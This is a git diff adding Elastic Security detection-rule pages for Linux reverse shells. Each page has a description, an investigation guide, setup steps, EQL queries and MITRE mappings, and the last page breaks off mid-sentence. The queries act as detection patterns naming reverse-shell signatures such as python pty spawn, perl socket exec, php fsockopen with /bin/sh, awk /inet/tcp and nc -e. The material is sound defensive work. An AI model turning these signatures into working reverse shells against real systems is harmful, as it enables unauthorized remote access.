configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [network where host.os.type == "linux" and event.action in ("connection_accepted", "connection_attempted") and + process.executable : ("/usr/bin/java", "/bin/java", "/usr/lib/jvm/*", "/usr/java/*") and + not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + )] by process.entity_id + [process where host.os.type == "linux" and event.action == "exec" and + process.parent.executable : ("/usr/bin/java", "/bin/java", "/usr/lib/jvm/*", "/usr/java/*") and + process.parent.args : "-jar" and process.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + and not ( + process.parent.args in ( + "/usr/lib/jenkins/jenkins.war", "/etc/remote-iot/services/remoteiot.jar", "/opt/pentaho/data-integration/launcher/launcher.jar", + "/usr/share/java/jenkins.war", "/opt/tomcat/statistics/statistics.jar", "/usr/lib64/NetExtender.jar", + "/var/lib/jenkins/workspace/MP-QA/tc_certified_copy*/tc_certified_copy_web_ui_test/target/surefire/surefirebooter*.jar", + "-javaagent:/opt/opentelemetry/opentelemetry-javaagent-all.jar", "./lib/pipeline-job-executor*SNAPSHOT.jar", + "./lib/worker-launcher-agent*SNAPSHOT.jar", "/opt/Seqrite_EndPoint_Security/wildfly/jboss-modules.jar", + "/home/data/jenkins.war", "/pro/service-modules/deployment.jar", "/application/HES/READER/*.jar", "*-SNAPSHOT.jar", + "READER/G1A/READER_G1A.jar", "READER_G1.jar" + ) or + process.command_line like~ ( + "bash -c ps -eo pid,lstart,comm*", + "bash -c df -i /application | tail -n 1", + "/bin/sh -xe /tmp/hudson*.sh", + "bash -c cat /application/HES/*" + ) + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-binary.asciidoc new file mode 100644 index 0000000000..6182aa3925 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-binary.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-binary]] +=== Potential Reverse Shell via Suspicious Binary + +This detection rule detects the creation of a shell through a chain consisting of the execution of a suspicious binary (located in a commonly abused location or executed manually) followed by a network event and ending with a shell being spawned. Stageless reverse tcp shells display this behaviour. Attackers may spawn reverse shells to establish persistence onto a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Suspicious Binary* + + +Reverse shells are a common technique used by attackers to gain persistent access to a compromised system. They exploit legitimate shell environments to execute commands remotely. Adversaries often deploy binaries in unusual directories to evade detection. The detection rule identifies suspicious binaries executed in these locations, followed by network activity and shell spawning, indicating potential reverse shell activity. This approach helps in identifying unauthorized access attempts on Linux systems. + + +*Possible investigation steps* + + +- Review the process execution details to identify the suspicious binary's path and name, focusing on the directories specified in the query such as /tmp, /var/tmp, and /dev/shm. +- Examine the parent process of the suspicious binary to determine if it was spawned by a legitimate shell process like bash or sh, as indicated in the query. +- Analyze the network activity associated with the suspicious binary, paying attention to the destination IP address to identify any external connections that are not local (i.e., not 127.0.0.1 or ::1). +- Check the process tree to see if a new shell was spawned following the network activity, which could indicate a reverse shell attempt. +- Investigate the user account under which the suspicious process was executed to assess if it aligns with expected behavior or if it might be compromised. +- Correlate the event timestamps to understand the sequence of actions and verify if they align with typical reverse shell behavior patterns. + + +*False positive analysis* + + +- Legitimate administrative scripts or binaries may be executed from directories like /tmp or /var/tmp during maintenance tasks. To handle this, create exceptions for known scripts or binaries used by trusted administrators. +- Automated deployment tools might temporarily use directories such as /dev/shm or /run for staging files. Identify these tools and exclude their processes from triggering the rule. +- Custom monitoring or backup scripts could initiate network connections from non-standard directories. Review these scripts and whitelist their activities if they are verified as safe. +- Development or testing environments might involve executing binaries from unusual locations. Ensure these environments are well-documented and exclude their processes from the detection rule. +- Some legitimate applications may spawn shells as part of their normal operation. Identify these applications and add them to an exception list to prevent false alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, especially those originating from unusual directories or involving shell spawning. +- Conduct a thorough review of the system's scheduled tasks, startup scripts, and cron jobs to identify and remove any unauthorized entries that may have been added by the attacker. +- Analyze network logs to identify any external IP addresses involved in the suspicious network activity and block these IPs at the firewall to prevent further connections. +- Restore the affected system from a known good backup to ensure that any malicious changes are reverted. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s +[ process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.executable : ( + "./*", "/tmp/*", "/var/tmp/*", "/var/www/*", "/dev/shm/*", "/etc/init.d/*", "/etc/rc*.d/*", + "/etc/crontab", "/etc/cron.*", "/etc/update-motd.d/*", "/usr/lib/update-notifier/*", + "/boot/*", "/srv/*", "/run/*", "/root/*", "/etc/rc.local" + ) and + process.parent.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not + process.name : ("curl", "wget", "ping", "apt", "dpkg", "yum", "rpm", "dnf", "dockerd") ] +[ network where host.os.type == "linux" and event.type == "start" and event.action in ("connection_attempted", "connection_accepted") and + process.executable : ( + "./*", "/tmp/*", "/var/tmp/*", "/var/www/*", "/dev/shm/*", "/etc/init.d/*", "/etc/rc*.d/*", + "/etc/crontab", "/etc/cron.*", "/etc/update-motd.d/*", "/usr/lib/update-notifier/*", + "/boot/*", "/srv/*", "/run/*", "/root/*", "/etc/rc.local" + ) and destination.ip != null and destination.ip != "127.0.0.1" and destination.ip != "::1" ] +[ process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.parent.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-child-process.asciidoc new file mode 100644 index 0000000000..80a34414b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-child-process.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-child-process]] +=== Potential Reverse Shell via Suspicious Child Process + +This detection rule detects the creation of a shell through a suspicious process chain. Any reverse shells spawned by the specified utilities that are initialized from a single process followed by a network connection attempt will be captured through this rule. Attackers may spawn reverse shells to establish persistence onto a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Suspicious Child Process* + + +Reverse shells are a common technique used by attackers to gain remote access to a compromised system. They exploit scripting languages and utilities like Python, Perl, and Netcat to execute commands remotely. The detection rule identifies suspicious process chains and network activities, such as unexpected shell spawns and outbound connections, to flag potential reverse shell attempts, leveraging process and network event analysis to detect anomalies. + + +*Possible investigation steps* + + +- Review the process chain to identify the parent process and determine if it is expected behavior for the system. Check the process.parent.name field for any unusual or unauthorized parent processes. +- Analyze the process arguments captured in the alert, such as process.args, to understand the command being executed and assess if it aligns with known reverse shell patterns. +- Investigate the network connection details, focusing on the destination.ip field, to determine if the connection is to a known malicious IP or an unexpected external address. +- Check the process.name field to identify the specific utility used (e.g., python, perl, nc) and verify if its usage is legitimate or if it indicates a potential compromise. +- Correlate the alert with other security events or logs from the same host.id to identify any additional suspicious activities or patterns that may indicate a broader attack. +- Consult threat intelligence sources to gather information on any identified IP addresses or domains involved in the network connection to assess their reputation and potential threat level. + + +*False positive analysis* + + +- Development and testing environments may frequently execute scripts using languages like Python, Perl, or Ruby, which can trigger the rule. To manage this, consider excluding specific host IDs or process names associated with known development activities. +- Automated scripts or cron jobs that utilize network connections for legitimate purposes, such as data backups or updates, might be flagged. Identify these processes and add them to an exception list based on their parent process names or specific arguments. +- System administrators might use tools like Netcat or OpenSSL for troubleshooting or monitoring network connections. If these activities are routine and verified, exclude them by specifying the administrator's user ID or the specific command patterns used. +- Security tools or monitoring solutions that simulate attack scenarios for testing purposes can also trigger this rule. Ensure these tools are recognized and excluded by their process names or associated network activities. +- Custom scripts that use shell commands to interact with remote systems for maintenance tasks may appear suspicious. Review these scripts and exclude them by their unique process arguments or parent process names. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving scripting languages or utilities like Python, Perl, or Netcat. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or modified system files. +- Review and reset credentials for any accounts that may have been accessed or compromised during the incident. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Monitor network traffic for any signs of further suspicious activity, focusing on outbound connections from the affected host. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to ensure comprehensive remediation efforts. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "fork") and ( + (process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + )) or + (process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + )) or + (process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + )) or + (process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + )) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name : ("nc", "ncat", "netcat") and process.args == "-e" and process.args_count >= 3 and + not process.args == "-z") + ) and process.parent.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "php*", "perl", "ruby", "lua*", + "nc", "netcat", "ncat", "awk", "gawk", "mawk", "nawk")] + [network where host.os.type == "linux" and event.type == "start" and event.action in ("connection_attempted", "connection_accepted") and + process.name : ("python*", "php*", "perl", "ruby", "lua*", "nc", "netcat", "ncat", "awk", "gawk", "mawk", "nawk") and + destination.ip != null and not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-udp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-udp.asciidoc new file mode 100644 index 0000000000..dfaf3ac82d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell-via-udp.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell-via-udp]] +=== Potential Reverse Shell via UDP + +This detection rule identifies suspicious network traffic patterns associated with UDP reverse shell activity. This activity consists of a sample of an execve, socket and connect syscall executed by the same process, where the auditd.data.a0-1 indicate a UDP connection, ending with an egress connection event. An attacker may establish a Linux UDP reverse shell to bypass traditional firewall restrictions and gain remote access to a target system covertly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via UDP* + + +Reverse shells over UDP can be exploited by attackers to bypass firewalls and gain unauthorized access to systems. This technique leverages UDP's connectionless nature, making it harder to detect. Adversaries may use scripting languages or network tools to initiate these connections. The detection rule identifies suspicious processes executing network-related syscalls and egress connections, flagging potential reverse shell activity. + + +*Possible investigation steps* + + +- Review the process details such as process.pid, process.parent.pid, and process.name to identify the specific process that triggered the alert and its parent process. +- Examine the command line arguments and environment variables associated with the suspicious process to understand its intended function and origin. +- Check the network connection details, including destination.ip and network.direction, to determine the external entity the process attempted to connect to and assess if it is a known malicious IP or domain. +- Investigate the user account associated with the process to determine if it has been compromised or if there are any signs of unauthorized access. +- Analyze historical logs for any previous instances of similar process executions or network connections to identify patterns or repeated attempts. +- Correlate the alert with other security events or alerts from the same host.id to gather additional context and assess the scope of potential compromise. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools may trigger the rule if they use UDP for valid network operations. Users can create exceptions for specific scripts or processes that are known to perform routine administrative tasks. +- Automated monitoring or network management tools that use UDP for health checks or status updates might be flagged. Identify these tools and exclude their process names or network patterns from the rule. +- Development or testing environments where developers frequently use scripting languages or network tools for legitimate purposes can cause false positives. Consider excluding specific host IDs or process names associated with these environments. +- Custom applications that use UDP for communication, especially if they are developed in-house, may be mistakenly identified. Review these applications and whitelist their process names or network behaviors if they are verified as safe. +- Network scanning or diagnostic tools that use UDP for troubleshooting can be misinterpreted as malicious. Ensure these tools are recognized and excluded from the detection rule if they are part of regular network maintenance activities. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those associated with known reverse shell tools or scripting languages. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or modified system files. +- Review and update firewall rules to block outbound UDP traffic from unauthorized applications or processes, ensuring legitimate traffic is not disrupted. +- Reset credentials for any accounts accessed from the affected host, especially if they have administrative privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement enhanced monitoring and logging for similar suspicious activities, focusing on the execution of network-related syscalls and egress connections from scripting languages or network tools. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Auditbeat +- Auditd Manager + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required to be added to the integration. + + +==== Rule query + + +[source, js] +---------------------------------- +sample by host.id, process.pid, process.parent.pid + [process where host.os.type == "linux" and event.type == "start" and event.action == "executed" and process.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*", + "ruby", "openssl", "awk", "telnet", "lua*", "socat" + ) and + not process.args in ("/var/www/MISP/app/Console/cake", "/var/www/MISP/app", "/usr/local/bin/wp")] + [process where host.os.type == "linux" and auditd.data.syscall == "socket" and process.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*", + "ruby", "openssl", "awk", "telnet", "lua*", "socat" + ) and auditd.data.a1 == "2"] + [network where host.os.type == "linux" and event.type == "start" and event.action == "connected-to" and + process.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*", + "ruby", "openssl", "awk", "telnet", "lua*", "socat" + ) and network.direction == "egress" and destination.ip != null and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell.asciidoc new file mode 100644 index 0000000000..5e4b58f959 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-reverse-shell.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-potential-reverse-shell]] +=== Potential Reverse Shell + +This detection rule identifies suspicious network traffic patterns associated with TCP reverse shell activity. This activity consists of a parent-child relationship where a network event is followed by the creation of a shell process. An attacker may establish a Linux TCP reverse shell to gain remote access to a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell* + + +Reverse shells are tools that adversaries use to gain remote access to a system by initiating a connection from the target back to the attacker. This detection rule identifies such activity by monitoring for network events followed by shell process creation on Linux systems. It flags suspicious patterns, such as shell processes with interactive flags or spawned by tools like socat, indicating potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the network event details to identify the source and destination IP addresses involved in the connection attempt or acceptance. Pay special attention to any external IP addresses that are not part of the internal network ranges. +- Examine the process tree to understand the parent-child relationship, focusing on the shell process creation following the network event. Verify if the shell process was spawned by a known tool like socat. +- Check the process arguments for interactive flags such as "-i" or "-l" to determine 